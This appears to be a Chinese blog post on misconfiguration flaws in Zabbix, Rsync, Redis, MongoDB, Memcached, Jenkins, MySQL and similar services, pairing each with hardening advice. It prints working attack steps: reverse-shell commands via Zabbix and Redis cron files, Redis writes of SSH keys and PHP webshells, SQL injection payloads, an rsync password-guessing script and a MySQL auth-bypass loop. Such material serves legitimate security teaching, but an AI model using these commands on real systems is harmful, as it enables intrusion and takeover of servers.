运维常见服务安全漏洞修复建议

常见运维漏洞

漏洞☞ Zabbix

zabbix漏洞的危害
  • Zabbix配置不当安全事件

sohu的zabbix,可导致内网渗透案例
https://www.secpulse.com/archives/15568.html

网易zabbix运维不当,导致人一名了执行
https://www.77169.com/exploits/2013/20130604135100.shtm

  • Zabbix弱口令利用

Zabbix默认的口令为Admin:zabbix,以及存在guest密码为空
Zabbix Server可以远程在agent的机器上执行任意命令
建立监控项
zabbix_get命令调用(执行一些命令)
system.run[command,] 运行命令
这个模块是agent自带的,获取服务器shell,获取root权限。

监控项

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
nc -lvp 8080  监控反弹

zabbix_get命令调用

zabbix_get -s 127.0.0.1 -k 'system.run[cat /etc/passwd]'
  • Zabbix 注入利用
latest.php SQL注入漏洞(CVE-2016-10134)

Payload: latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

  • 攻击方法

默认口令
注入漏洞
BurpSuite爆破口令

  • 修复建议

不要放外网
修改默认密码
禁用guest用户
不要用root启动
401认证
备份数据升级版本


漏洞☞ Rsync (配置不当引发的问题)

rsync 介绍

Rsync(remote synchroniz)是一款实现远程同步功能的软件,它在同步文件的同时,可以报出原来文件的权限,时间,软硬链接等附加信息


rsync默认同步时是不加密的,可使用ssh隧道的方式来进行加密同步

配置参数介绍
uid = nobody  # 配置错误的写法是root
gid = nobody  # 同上
use chroot = no
max connections = 2000
pid file = /var/run/rsyncd.pid
local file = /var/run/rsync.lock
log file = /var/log/rsyncd.log
timeout = 900
ignore errprs
read only = false  # 配置错误的写法是True
list = true
hosts allow = 192.168.137.0/24
host deny = 0.0.0.0/24
auth users = test   # 默认禁用是错误的
secrets file = /etc/rsync.password   # 默认禁用是错误的
[bak]
comment = Welcome Rsync
path = /root/rsync/test/

漏洞扫描

nmap -n --open -p 873 192.168.137.0/24
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mkMTpkIa-1669885374738)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/WEBRESOURCE49215fee1c4529eaf02d85a4a670299a/23268)]
根据扫描出的端口和Ip进行登录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YIWDG3pv-1669885374739)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/WEBRESOURCEf8f5b2f483f99d6b07b075b55351ba4a/23275)]

简易版本rsync脚本扫描
"""
 扫描开放的rsync的873端口
 获取rsync目录
 密码尝试
"""
import os
import datetime
import socket
from socket import *
import threading


def save_file(file):
    file_name = datetime.datetime.now().strftime('%Y-%m-%d')
    # 拼接一个ip端口是打开的txt文本
    new_file = '{}_open.txt'.format(file_name)
    # 向文本中追加已扫描开放873端口的IP地址
    with open(new_file, 'a+', encoding='utf-8')as fp:
        fp.writelines(file + '\n')


def socket_request(traip, tarport):
    try:
        timeout = 2
        setdefaulttimeout(timeout)
        # 建立socket
        sock = socket.socket()
        address = (str(traip), int(tarport))
        sock.connect(address)
        sock.close()
        # print(traip)
        info = '{}:{} Open Status'.format(traip, tarport)
        print('\033[6;30;42m' + info + '\033[0m')
        save_file(traip)
        yield info
    except:
        print('\033[0;31m' + "{}:{} {}".format(traip, tarport, 'Close Status') + '\033[0m')


def port_open_scan():
    with open('ip.txt', 'r', encoding='utf-8')as read_ip:
        tarport = 873
        for ip in read_ip:
            # 去除两边空格
            tarport_ip = ip.strip()
            # for x in socket_request(tarport_ip, tarport):
            #     pass
            return tarport_ip


def rsync_pass_check(ip):
    ip = ip.strip()
    # 命令拼接
    command = "rsync" + ip + "::"
    # 打印检查IP
    print("chechking: {}".format(ip))
    dirlist = []
    for line in os.popen(command):
        x = line.find("\t")
        y = line[0:x]
        dirlist.append(y)

    for dir in dirlist:
        userlist = ["test", "root", "rsync"]
        for user in userlist:
            # 拼接一条rsync执行的命令包含:用户名,ip
            crack_command = "rsync" + user + "@" + ip + "::" + dir + "-_password_file=pass.txt"
            try:
                output = os.system(crack_command)
                if os.popen(crack_command).read():
                    res_str = "[+] Vul Found:" + crack_command
                    with open("Vuln_IP.txt", "a+", encoding="utf-8")as fp:
                        fp.write(res_str + "\n")
                else:
                    pass
            except Exception as e:
                print(e)


def main():
    port_open_scan()
    open_port = "{}_open.txt".format(datetime.datetime.now().strftime("%Y-%m-%d"))

    with open(open_port, 'r', encoding="utf-8")as f:
        iplist = f.readlines()
        for ip in iplist:
            rsync_pass_check(ip)


if __name__ == '__main__':
    # 多线程
    t = threading.Thread(target=main)
    t.start()
修复建议

限定访问的IP
不允许匿名访问
防止弱口令
禁用root权限


漏洞☞ Redis配置不当

Redis安全事件

redis是一个开源,支持网络、基于内存、键值对存储数据库,使用ANSI C编写
自从Redis未授权问题获取Linux系统root权限的攻击方法的披露后,由于其易用性,利用该问题入侵Linux服务进行挖矿

Redis未授权访问漏洞

条件
1.redis服务以root账户运行;
2.Redis无密码或弱密码进行认证;
Redis监听在0.0.0.0;

危害:被攻击者拿到服务器权限

原理:Redis未授权访问在4.X/5.0.5以前版本下,攻击者可以用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

redis默认安装,无修改配置
[root@controller ~]# ps -ef |grep redis
root      14962   9445  0 17:37 pts/0    00:00:00 ./redis-server *:6379
root      14992  14970  0 17:37 pts/1    00:00:00 grep --color=auto redis
[root@controller ~]#

根据无修改配置,没有密码的话远程可以直接进行链接
root@kali:~/redis-5.0.4/src# ./redis-cli -h 192.168.137.45 -p 6379
192.168.137.45:6379>

假设知道网站的默认路径,做如下操作
条件:网站路径
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

使用工具进行连接脚本,就可以访问到网站中程序

写入crontab任务

通过工具获取webshell

如果crontab中存在脚本信息,表示系统已经被入侵了


set x "\n* * * * * bash -i >& /dev/tcp/192.168.4.107/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
Save

Attack: nc –lvnp 6666  # 攻击者监听端口

Redis未授权访问漏洞–利用计划任务反弹shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wUWKISb0-1669885374740)(http://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/4AB7A964D3954580ADDC7B02EB684DF4/26231)]

打开kali的nc监听
nc -vvvp prot
安装redis客户端后,连接redis
redis-cli -h xxx.xxx.xxx.xxx


一次设置:写入文件的目录、写入文件名、文件内容,最后输入save保存,等待kali的shell弹回来
6379> config set dir /var/spool/cron/
6379> config set dbfilename root
6379> set xxx "\n\n* * * * * /bin/bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/prot 0>&1\n\n"
6379> save
写入ssh公钥

客户端生成 root@kali:~# ssh-keygen -t rsa

处理公钥:

1.生成公钥
root@kali:~/.ssh# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWscDvDdgutEM4w3WuMhoU7vkbOIVZxP+lKOkoYgfNYOhhwq8xbfhPBPlsohkwHqOUu7t9QMDVSoxvKz34f7nuLYNn+3te0MaYWZOh42cmzHj6m2hfiycfI7QZ3QQMp4Og9tyB0+0PuzIPmOEa2djwRZEKzdT0sfYiz98q8svK/+RJ2g4pOMswC4xa4TrHUkWbqBMX7tpWkqvPaYrROuhx3JlSF6cp7G0xd6cUHGH9+BHX64aFHHu7WjnLd81Hm+enie4y5ymU+6n3RUqc3hg9n/ZNlv1T9qUlIQ45WZCjcQUFutEFuXMlXbn2sFr4w66IjByuHJFyth99C+1cevQb root@kali
2.将公钥保存成txt
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
3.将公钥文件存入变量
root@kali:~/.ssh# 
cat foo.txt |redis-cli -h 192.168.137.40 -x set crackit

登录到redis主机
redis-cli -h 192.168.137.40
设置如下操作

// 查看redis的备份路径
config get dir
// 更改备份路径为ssh公钥路径
config set dir /root/.ssh/
// 攻击姿势,写入公钥
config set dbfilename "authorized_keys"
save

连接
ssh -i id_rsa root@192.168.137.40

处理完成之后直接写入redis
root@kali:~/.ssh# cat foo.txt | redis-cli -h 192.168.137.45 -x set crackit

Python爆破redis,弱密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0Ytpk6dO-1669885374740)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/WEBRESOURCE1edd7d0647ef3522dc53c5f4ce77c795/23342)]

写入webshell

前提:知道网站根目录的绝对路径

原理:向根据经写webshell,推荐一句话木马。<?php @eval($_POST'1']);?>

攻击流程:

向网站根目录中如如一句话木马
6379> config set dbfilename myoneshell.php
6379> config set dir /www/admin/wwwroot
6379> set oneword "/n<?php @eval($_POST['a'])?>\n<>"
6379> save

直接访问,目前报404错误就说明上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LgCQqrlD-1669885374741)(http://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/CB2670C30F0842269BBF5FBDADD7E524/26249)]

修复建议

设置复杂密码
尽量不要把REDIS暴露在公网
普通权限启动
对.ssh降权和锁定
1.Redis服务只监听本机,可通过修改redis.conf配置文件中的"#bind 127.0.0.1",去掉前面的"#"即可
2.设置密码访问认证,可通过修改redis.conf配置文件中的“requirepass”设置复杂密码(需要重启redis服务才能生效);
3.对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;
4.修改Redis默认端口,将默认的6379端口修改为其他端口;
5.禁用config指令避免恶意操作,在Redis配置文件redis.conf中配置rename-command项“RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config指令加大难度;
6.Redis使用普通用户权限,禁止使用root权限启动Redis服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取root权限;

漏洞☞ ElasticSearch 配置不当

CVE-2014-3120漏洞详情

https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120

CVE-2015-3337 目录穿越

在安装了具有“site”功能的插件以后,插件目录使用…/即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

安全加固

不要暴露在公网上
不要以root身份运行
9200加上Http Basic-Auth基本身份认证

修复性建议

限定访问的IP
不允许匿名访问
防止弱口令
禁用root权限
升级版本
在elasticsearch.yml里配置script.disable_dynamic:true // 禁止脚本执行


漏洞☞ Mongodb 未授权访问

MongoDB勒索事件

2016年底至2017年初,爆发了针对MongoDB的勒索事件。

案例

MongoDB数据库意外暴露超过200万墨西哥公民的医疗健康数据
https://www.freebuf.com/news/180103.html

未授权访问漏洞

案例

某游戏平台mongodb未授权访问泄露大量数据
https://wystatic.tuisec.win/static/bugs/wooyun-2015-0101829.html

造成的原因

在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息!

安全加固

MongoDB黑客事件浅析
https://blog.csdn.net/wl812peter/article/details/56841989
确保对MongoDB数据库启用了身份验证
不要开放到公网0.0.0.0
备份机制(勤备份)


漏洞☞ Memcached 未授权访问

Memcached未授权访问

Memcached是一个高性能的分布式的内存对象缓存系统,能够用于存储各种格式的数据、图像、视频、文件等…,就是将数据调用到内存中,然后从内存中读取,从而大大提高读取的速度

错误配置
Memcached服务器端都是直接通过客户端连接后直接操作,没有任何的验证过程,且Mecached默认以root权限运行。因而如果Mecached服务器直接暴露在互联网上的话是比较危险,轻则造成敏感数据泄露,重则可导致服务器被入侵

执行命令:memcached -d -m 100 -u root -p 11211 -c 512 -P /tmp/memcached.pid

存在错误配置客户端可执行: telnet 192.168.4.4 11211 进行检测登陆
案例

memcached未作IP限制导致缓存数据可被攻击者控制
https://wystatic.tuisec.win/static/bugs/wooyun-2010-0790.html

Memcached DRDoS攻击

DRDoS是英文“Distributed Reflection Denial of Service ”的缩写,中文意思是“分布式反射拒绝服务”。与DoS、DDoS不同,该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机,然后攻击主机对IP地址源做出大量回应,形成拒绝服务攻击

满足条件
要支持的条件
Memcached支持UDP
Memcached大部分是作为企业应用的组件,往往具有很高的上传带宽。
Memcached不需要认证就可以随意交互。
memcached -U 11211 -d -m 100 -u root -l 0.0.0.0 -p 11211 -c 512 -P /tmp/memcached.pid

脚本案例

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DPcOkLDR-1669885374741)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/1347689719A34E4B92DBC81A58C9C91F/23421)]

安全加固

限制访问IP
设置启动用户
新版本Memcached
配置监听地址仅限本地回环地址


漏洞☞ Jenkins

jekins 简介

Jenkins是一个开源软件项目,是基于JAVA开发的一种持续集成工具,用于监控持续重复的工作
JenkinsMiner加密货币挖矿软件攻击我国某机构案例
https://paper.tuisec.win/detail/a67d6915379bb86

序列化和反序列化

序列化就是把对象转成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象

Jenkins-CI 远程代码执行漏洞

受影响版本
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

环境下载:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
复现:
生成序列化字符串
java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"

发送数据包,执行命令
Python exploit.py
安全加固

升级版本


漏洞☞ Mysql

Mysql 身份认证漏洞

CVE-2012-2122
输入的密码会与期望的正确密码比较,由于不正确的处理,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库,概率为1/256
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql

受影响版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

CVE-2012-2122漏洞环境

docker-compose.yml

version: '2'
services:
 mysql:
	image: vulhub/mysql:5.5.23
	ports:
		- "3306:3306”

启动环境

docker-compose up -d
CVE-2012-2122利用,三种方法分别是
Bash:
for i in seq 1 1000; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Metasploit:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
Python:
#!/usr/bin/python import subprocess while 1: subprocess.Popen(“mysql -u root mysql --password=blah”, shell=True).wait


Mysql 信息探测

nmap
模块 auxiliary/scanner/mysql/mysql_version
九头鸟(Hydra爆破MySQL密码)

MYSQL 注入利用

读文件
读数据库密码
在一定条件下可以into outfile、into dumpfile
SQLMAP工具辅助注入

MYSQL 安全加固
1. 检查是否避免运维账号共享
2. 检查是否使用默认端口
3. 检查是否设置禁止MySQL对本地文件存取
revoke file on *.* from 'user3'@'127.0.0.1’; 
4. 检查test库是否已被删除。
SHOW DATABASES LIKE 'test';
DROP DATABASE "test";
5. 检查默认管理员账号是否已更名
update user set user="newUserName" where user="root";
6. 设置MySQL守护进程专用最小特权帐户
ps -ef|egrep "^mysql.*$"
7. 禁用MySQL命令历史记录
将MYSQL_HISTFILE环境变量设置为/dev/null,.bash_profile,export MYSQL_HISTFILE=/dev/null
ln -s /dev/null $HOME/.mysql_history
8. 备份策略
9. 确保仅管理员具有完全数据库访问权限
网站配置不允许使用root权限
错误:grant all on *.* to user1 identified by ‘123456’;
指定数据库:
grant all on db1.* to ‘user2’@‘ip’ identified by ‘123456’;`


phpmyadmin

弱口令危害
获得数据库,可根据mysql函数查看系统命令
获得WebShell,可根据mysql函数查看系
通过日志获取webshell

mysql> show variables like '%general%'; 
mysql> set global general_log = on;

mysql> set global general_log_file ='网站路径’; 
mysql> select ‘<?php phpinfo(); ?>;


mysql> set global general_log_file =‘还原’; 
mysql> set global general_log = off;


安全加固-Centos7

攻击者角度

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HScUOrIy-1669885374742)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/WEBRESOURCEad531950291f4b3c73b33500f0016e34/23502)]

SSH密码

服务器上所有账号的密码都要采用毫无关联的强密码,密码为不少于16位的大小写字母数字特殊符号的组合
yum -y install expect && mkpasswd

修改SSH配置文件

改默认端口
禁止root账户登录
指定允许登录账号

启用强制密码长度策略,配置如下

/etc/login.defs
PASS_MIN_LEN 13

检查是否存在除root之外UID为0的用户
awk -F: '($3 == 0) { print $1 }' /etc/passwd

检测登陆系统是否需要密码
awk -F: '($2 == ""){print $1}' /etc/passwd

帐户口令复杂度及定期更换

禁用NAT

echo 0 > /proc/sys/net/ipv4/ip_forward

Bash日志
设置环境变量为只读:
readonly HISTFILE
readonly HISTFILESIZE
readonly HISTSIZE
readonly HISTCMD
readonly HISTCONTROL
readonly HISTIGNORE

为history文件添加时间

export HISTTIMEFORMAT=‘%F %T’

设置history文件只能追加:

chatter +a ~/.bash_history

安全加固前,该配置需在测试环境测试如果不影响业务或系统,方可进行对线上机器的配置修改


安全加固 Apache

服务器Banner信息隐藏

配置修改如下
etc/httpd/conf/httpd.conf
ServerTokens Prod
ServerSignature Off

php版本信息

vim /etc/pnp.ini
expose_php=off

php-fpm版本信息隐藏

fastcgi_param SERVER_SOFTWARE nginx/$nginx_version;
改为:

fastcgi_param SERVER_SOFTWARE nginx0.0.0;#(这个nginx0.0.0就是显示的内容)

防止列目录泄露敏感信息

Options Indexes FollowSymLinks改为 Options FollowSymLinks

指定目录禁止php解析

<Directory "/var/www/html/uploads">
php_flag engine off
</Directory>

限制管理员后台特定IP访问

<Directory "/var/www/html/admin"> 
	Order Deny,Allow
	Deny from all
	Allow from 192.168.1.111
</Directory> 

关闭对.htaccess的支持

AllowOverride None

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SAP(Systems, Applications and Products in Data Processing)是一款广泛应用于企业管理系统的软件解决方案,它的运维常见问题通常包括以下几个方面: 1. 系统性能问题:SAP系统的性能问题可能涉及到响应速度慢、系统卡顿等方面。解决这问题需要对系统进行性能调优,包括合理的系统配置、优化数据库、调整网络等。 2. 数据一致性问题:SAP系统中的数据一致性是非常关键的,如果出现数据不一致或冲突,将影响企业的正常运营。解决这问题需要对数据进行合理的管理和交互,确保数据的准确性和一致性。 3. 安全问题:SAP系统中的安全问题非常重要,如未经授权的访问、数据泄露等。为了保证系统的安全,需要建立健全的用户权限管理、加密传输、安全审计等措施。 4. 数据备份与恢复:在SAP系统中,数据的备份与恢复是必要的,以防止数据丢失或不可恢复。在运维过程中,需要确保定期备份数据,并测试备份数据的完整性和可恢复性。 5. 系统更新与升级:SAP系统需要定期进行软件更新与升级,以修复漏洞、增强功能和性能。在更新和升级过程中,需要进行充分的测试,确保系统的稳定性和兼容性。 总之,SAP的运维常见问题需要关注系统性能、数据一致性、安全性、数据备份与恢复以及系统更新与升级。通过合理的管理和维护,可以确保SAP系统的稳定运行,并为企业的管理提供良好的支持。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值